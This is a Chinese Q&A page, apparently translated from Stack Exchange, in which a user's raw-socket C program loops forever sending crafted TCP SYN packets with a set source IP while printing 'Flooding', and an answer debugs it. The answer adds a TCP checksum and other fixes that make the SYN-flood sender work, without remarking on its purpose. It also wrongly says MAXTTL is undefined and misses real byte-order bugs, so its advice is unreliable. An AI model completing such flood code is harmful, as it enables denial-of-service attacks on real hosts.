sendto()仅本地主机可用,跨真实IP调用返回-1求助
我是一名网络编程新手,尝试解决问题却毫无头绪,希望得到帮助。在Linux环境下,我编写的代码在源地址和目标地址均设为localhost时可正常运行,但使用localhost以外的真实IP地址时,sendto()调用返回-1。我不知道如何获取该错误的详细信息,也不清楚导致返回-1的原因。此外,我发现sizeof(sin)的返回值仅为16,不确定这是否正常;同时想了解如何让编译器输出更多错误相关信息。以下是我的代码:
#include <unistd.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/socket.h> #include <netinet/ip.h> #include <netinet/tcp.h> #include <arpa/inet.h> #define MAX_PACKET_SIZE 4096 u_int32_t src_addr, dst_addr; u_int16_t src_port, dst_port; unsigned short csum (unsigned short *buf, int nwords) { unsigned long sum; for (sum = 0; nwords > 0; nwords--) sum += *buf++; sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); return (unsigned short)(~sum); } void setup_ip_header(struct iphdr *iph) { iph->saddr = src_addr; // SOURCE IP ADDRESS iph->daddr = dst_addr; // TARGET IP ADDRESS iph->ihl = 5; iph->version = 4; iph->tos = 0; iph->tot_len = htons(sizeof(struct iphdr) + sizeof(struct tcphdr)); iph->id = htonl(54321); /*setup any arbitrary number for id */ iph->frag_off = 0; iph->ttl = MAXTTL; iph->protocol = 6; /* upper layer protocol, TCP*/ iph->check = 0; } void setup_tcp_header(struct tcphdr *tcph) { tcph->source = htons(src_port); // SOURCE PORT tcph->dest = htons(dst_port); // TARGET PORT tcph->seq = random(); tcph->ack_seq = 0; tcph->res2 = 0; tcph->doff = 5; tcph->syn = 1; tcph->window = htonl(65535); tcph->check = 0; tcph->urg_ptr = 0; } int main(int argc, char *argv[]) { QCoreApplication a(argc, argv); struct sockaddr_in sin; const char *src_addr_str = "192.168.1.50"; src_addr = inet_addr(src_addr_str); src_port = 777; const char *dst_addr_str = "192.168.1.51"; dst_addr = inet_addr(dst_addr_str); dst_port = 888; char datagram[MAX_PACKET_SIZE]; struct iphdr *iph = (struct iphdr *)datagram; struct tcphdr *tcph = (struct tcphdr *)((u_int8_t *)iph + (5 * sizeof(u_int32_t))); char new_ip[sizeof "255.255.255.255"]; int src_socket = socket(PF_INET, SOCK_RAW, IPPROTO_TCP); if(src_socket < 0){ fprintf(stderr, "Could not open raw socket.\n"); exit(-1); } /* a IP_HDRINCL call, to make sure that the kernel knows * the header is included in the data, and doesn't insert * its own header into the packet before our data */ int tmp = 1; const int *val = &tmp; if(setsockopt(src_socket, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){ fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n"); exit(-1); } // SETUP DETAILS ABOUT THE TARGET MACHINE sin.sin_family = AF_INET; sin.sin_addr.s_addr = dst_addr; sin.sin_port = htons(dst_port); // Clear the data memset(datagram, 0, MAX_PACKET_SIZE); // Set appropriate fields in headers setup_ip_header(iph); setup_tcp_header(tcph); iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1); for(;;){ int ret = sendto(src_socket, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin)); if(ret == -1) { fprintf(stderr, "sendto() error!!!.\n"); } else { fprintf(stdout, "Flooding %s at %u...\n", dst_addr_str , dst_port); } sleep(1); } return 0; }
1. 获取sendto()的详细错误信息
Linux系统调用失败时会通过全局变量errno存储错误码,可通过以下两种方式获取错误描述:
- 使用
perror():直接输出错误原因到标准错误流 - 使用
strerror(errno):将错误码转换为字符串,配合fprintf自定义输出格式
修改代码中的错误处理部分:
#include <errno.h> // 必须包含此头文件 // ... if(ret == -1) { // 方式1:直接输出错误 perror("sendto() failed"); // 方式2:自定义输出格式 fprintf(stderr, "sendto() error: %s\n", strerror(errno)); }
2. sendto()返回-1的常见原因及代码修正
权限不足
Raw socket需要root权限才能创建,普通用户运行程序会失败。执行程序时需加sudo:
sudo ./your_program
MAXTTL未定义
代码中iph->ttl = MAXTTL;使用了未定义的宏,编译时会产生警告,运行时会赋值随机值导致数据包被路由丢弃。添加定义:
#define MAXTTL 64 // 在头部#define区域添加
TCP校验和未正确计算
仅计算IP头校验和是不够的,TCP头的tcph->check为0会导致数据包被目标主机或中间设备丢弃。TCP校验和需要包含伪头部,修正代码:
在setup_tcp_header后添加校验和计算逻辑:
// 定义TCP伪头部 struct pseudo_header { u_int32_t src_addr; u_int32_t dst_addr; u_int8_t zero; u_int8_t protocol; u_int16_t tcp_len; }; // 构造校验和缓冲区 char tcp_checksum_buf[sizeof(struct pseudo_header) + sizeof(struct tcphdr)]; struct pseudo_header *pseudo = (struct pseudo_header *)tcp_checksum_buf; pseudo->src_addr = src_addr; pseudo->dst_addr = dst_addr; pseudo->zero = 0; pseudo->protocol = IPPROTO_TCP; pseudo->tcp_len = htons(sizeof(struct tcphdr)); // 复制TCP头到缓冲区 memcpy(tcp_checksum_buf + sizeof(struct pseudo_header), tcph, sizeof(struct tcphdr)); // 计算TCP校验和 tcph->check = csum((unsigned short *)tcp_checksum_buf, (sizeof(struct pseudo_header) + sizeof(struct tcphdr)) / 2);
冗余的QCoreApplication
代码中引入了Qt的QCoreApplication,但程序是纯C的raw socket代码,不需要Qt库,这会导致编译需要链接Qt,还可能引发不必要的初始化问题。删除这一行:
// QCoreApplication a(argc, argv); // 删掉此行
源IP地址不合法
如果你的机器没有配置192.168.1.50这个IP,手动指定该源IP会导致内核拒绝发送数据包。确保源IP是本机实际存在的IP地址。
3. sizeof(sin)返回16是否正常
完全正常。Linux下struct sockaddr_in的结构定义为:
struct sockaddr_in { sa_family_t sin_family; // 2字节,地址族AF_INET in_port_t sin_port; // 2字节,端口号(网络字节序) struct in_addr sin_addr; // 4字节,IP地址 unsigned char sin_zero[8]; // 8字节,填充至struct sockaddr的大小 };
总和为2+2+4+8=16字节,所以sizeof(sin)返回16符合定义。
4. 让编译器输出更多错误/警告信息
使用GCC编译时,添加以下参数可获取更详细的编译信息:
-Wall:开启所有基本警告-Wextra:开启额外的警告选项-Werror:将警告视为错误(可选,强制修正潜在问题)-g:生成调试信息,方便用gdb调试
编译命令示例:
gcc -Wall -Wextra -g your_code.c -o your_program
内容的提问来源于stack exchange,提问作者X-Maki

